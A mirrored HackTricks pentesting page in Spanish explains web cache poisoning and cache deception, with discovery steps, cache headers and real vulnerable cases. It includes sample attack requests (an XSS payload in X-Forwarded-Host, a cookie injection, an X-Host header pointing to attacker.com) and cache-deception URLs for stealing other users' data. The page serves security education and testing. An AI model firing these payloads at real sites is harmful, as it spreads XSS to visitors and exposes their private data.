Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception.md

226 lines
20 KiB
Markdown
Raw Blame History

# Envenenamiento de Caché y Engaño de Caché
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## La diferencia
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
>
> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
> * En el **engaño de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
## Envenenamiento de Caché
El envenenamiento de caché tiene como objetivo manipular la caché del lado del cliente para forzar a los clientes a cargar recursos que son inesperados, parciales o están bajo el control de un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el período de contaminación de la caché.
La ejecución de un ataque de envenenamiento de caché implica varios pasos:
1. **Identificación de Entradas no Claveadas**: Estos son parámetros que, aunque no son necesarios para que se almacene una solicitud en la caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
2. **Explotación de las Entradas no Claveadas**: Después de identificar las entradas no claveadas, el siguiente paso implica descubrir cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
3. **Asegurar que la Respuesta Envenenada se Almacene en la Caché**: El paso final es asegurar que la respuesta manipulada se almacene en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.
### Descubrimiento: Verificar encabezados HTTP
Por lo general, cuando una respuesta fue **almacenada en la caché** habrá un **encabezado que lo indique**, puedes verificar a qué encabezados debes prestar atención en este post: [**Encabezados de Caché HTTP**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Descubrimiento: Almacenamiento de código 400 en caché
Si piensas que la respuesta se está almacenando en una caché, podrías intentar **enviar solicitudes con un encabezado incorrecto**, que debería recibir una **código de estado 400**. Luego intenta acceder a la solicitud de forma normal y si la **respuesta es un código de estado 400**, sabrás que es vulnerable (e incluso podrías realizar un DoS).\
Un encabezado mal configurado podría ser simplemente `\:` como encabezado.\
_Ten en cuenta que a veces este tipo de códigos de estado no se almacenan en caché, por lo que esta prueba será inútil._
### Descubrimiento: Identificar y evaluar entradas no claveadas
Podrías utilizar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **bruteforcear parámetros y encabezados** que puedan estar **cambiando la respuesta de la página**. Por ejemplo, una página podría estar usando el encabezado `X-Forwarded-For` para indicar al cliente que cargue el script desde allí:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Provocar una respuesta dañina desde el servidor back-end
Con el parámetro/cabecera identificado, verifica cómo está siendo **sanitizado** y **dónde** se está **reflejando** o afectando la respuesta desde la cabecera. ¿Puedes abusar de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
### Obtener la respuesta en caché
Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ella, necesitas que la página se almacene en caché. Dependiendo del recurso que estés intentando almacenar en caché, esto podría llevar algo de tiempo, es posible que necesites intentarlo durante varios segundos.\
La cabecera **`X-Cache`** en la respuesta puede ser muy útil, ya que puede tener el valor **`miss`** cuando la solicitud no estaba en caché y el valor **`hit`** cuando está en caché.\
La cabecera **`Cache-Control`** también es interesante para saber si un recurso está en caché y cuándo será la próxima vez que se almacene en caché nuevamente: `Cache-Control: public, max-age=1800`\
Otra cabecera interesante es **`Vary`**. Esta cabecera se usa a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no tienen clave. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima a la que apunta, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.\
Otra cabecera relacionada con la caché es **`Age`**. Define el tiempo en segundos que el objeto ha estado en la caché del proxy.
Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que uses** porque algunas de ellas podrían ser **utilizadas inesperadamente** como **clave** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un Envenenamiento de Caché con **diferentes navegadores** para verificar si está funcionando.
## Ejemplos de Explotación
### Ejemplo más sencillo
Una cabecera como `X-Forwarded-For` se está reflejando en la respuesta sin ser sanitizada.\
Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean afectados por XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Nota que esto envenenará una solicitud a `/en?region=uk` y no a `/en`_
### Usar envenenamiento de caché web para explotar vulnerabilidades en el manejo de cookies
Las cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de esto para causar un XSS, por ejemplo, podrías ser capaz de explotar XSS en varios clientes que carguen la respuesta de caché maliciosa.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
### Envenenamiento de caché con travesía de ruta para robar clave de API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Este informe explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) cómo fue posible robar una clave de API de OpenAI con una URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque cualquier cosa que coincida con `/share/*` se almacenará en caché sin que Cloudflare normalice la URL, lo cual se hizo cuando la solicitud llegó al servidor web.
### Uso de múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
A veces necesitarás **explotar varios inputs sin clave** para poder abusar de una caché. Por ejemplo, puedes encontrar una **redirección abierta** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **redirigiendo** todas las **solicitudes HTTP** a HTTPS y utilizando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para la redirección. Puedes controlar hacia dónde apunta la página con la redirección.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Explotando con el encabezado `Vary` limitado
Si descubres que el encabezado **`X-Host`** se está utilizando como **nombre de dominio para cargar un recurso JS** pero el encabezado **`Vary`** en la respuesta indica **`User-Agent`**. Entonces, necesitas encontrar una forma de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Explotando la Manipulación de Caché HTTP al abusar del Contrabando de Solicitudes HTTP
Aprende aquí cómo realizar [ataques de Manipulación de Caché al abusar del Contrabando de Solicitudes HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Pruebas automatizadas para la Manipulación de Caché Web
El [Escáner de Vulnerabilidades de Caché Web](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) puede utilizarse para probar automáticamente la manipulación de caché web. Admite muchas técnicas diferentes y es altamente personalizable.
Ejemplo de uso: `wcvs -u example.com`
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Ejemplos Vulnerables
### Servidor de Tráfico Apache ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS reenviaba el fragmento dentro de la URL sin eliminarlo y generaba la clave de caché solo utilizando el host, la ruta y la consulta (ignorando el fragmento). Por lo tanto, la solicitud `/#/../?r=javascript:alert(1)` se enviaba al backend como `/#/../?r=javascript:alert(1)` y la clave de caché no contenía la carga útil en su interior, solo el host, la ruta y la consulta.
### CP-DoS de GitHub
Enviar un valor incorrecto en el encabezado de tipo de contenido desencadenaba una respuesta en caché 405. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.
### GitLab + CP-DoS de GCP
GitLab utiliza buckets de GCP para almacenar contenido estático. Los **buckets de GCP** admiten el encabezado `x-http-method-override`. Por lo tanto, era posible enviar el encabezado `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podía admitir el método `PURGE`.
### Middleware de Rack (Ruby on Rails)
En las aplicaciones de Ruby on Rails, se utiliza frecuentemente el middleware de Rack. El propósito del código de Rack es tomar el valor del encabezado **`x-forwarded-scheme`** y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado `x-forwarded-scheme: http`, se produce una redirección 301 a la misma ubicación, lo que potencialmente causa una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad.
### 403 y Buckets de Almacenamiento
Cloudflare anteriormente almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de Autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché respuestas 403, este comportamiento podría seguir presente en otros servicios de proxy.
### Inyectando Parámetros Clave
Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, Varnish de Fastly almacenaba en caché el parámetro `size` en las solicitudes. Sin embargo, si se enviaba también una versión codificada en URL del parámetro (por ejemplo, `siz%65`) con un valor erróneo, la clave de caché se construiría utilizando el parámetro `size` correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. Codificar en URL el segundo parámetro `size` llevaba a su omisión por la caché pero su utilización por el backend. Asignar un valor de 0 a este parámetro resultaba en un error 400 Bad Request en caché.
### Reglas de Agente de Usuario
Algunos desarrolladores bloquean solicitudes con agentes de usuario que coinciden con los de herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como la manipulación de caché y DoS.
### Campos de Encabezado Ilegales
El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezado. Los encabezados que contienen caracteres fuera del rango especificado de **tchar** deberían idealmente desencadenar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres no válidos y almacena cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde el envío de un encabezado con un carácter no válido, como `\`, resultaría en un error 400 Bad Request en caché.
### Encontrar nuevos encabezados
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Decepción de Caché
El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que van a ser guardados por la caché con su información sensible**.
En primer lugar, ten en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc., suelen estar **configuradas** para ser **guardadas** en la **caché**. Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, es probable que la caché almacene la respuesta porque ve la extensión `.js`. Sin embargo, si la **aplicación** está **reproduciendo** con el **contenido sensible** del usuario almacenado en _www.example.com/profile.php_, puedes **robar** ese contenido de otros usuarios.
Otras cosas para probar:
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _Usar extensiones menos conocidas como_ `.avif`
Un ejemplo muy claro se puede encontrar en este informe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
En el ejemplo, se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\
Luego, el **atacante** puede acceder a _http://www.example.com/home.php/non-existent.css_ en su propio navegador y observar la **información confidencial** de los usuarios que accedieron antes.
Ten en cuenta que el **proxy de caché** debe estar **configurado** para **cachear** archivos **basados** en la **extensión** del archivo (_.css_) y no en el tipo de contenido. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un tipo de contenido `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_).
Aprende aquí cómo realizar [ataques de Decepción de Caché abusando del Contrabando de Solicitudes HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Herramientas Automáticas
* [**toxicache**](https://github.com/xhzeem/toxicache): Escáner en Golang para encontrar vulnerabilidades de manipulación de caché web en una lista de URLs y probar múltiples técnicas de inyección.
## Referencias
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
Reference in a new issue View git blame Copy permalink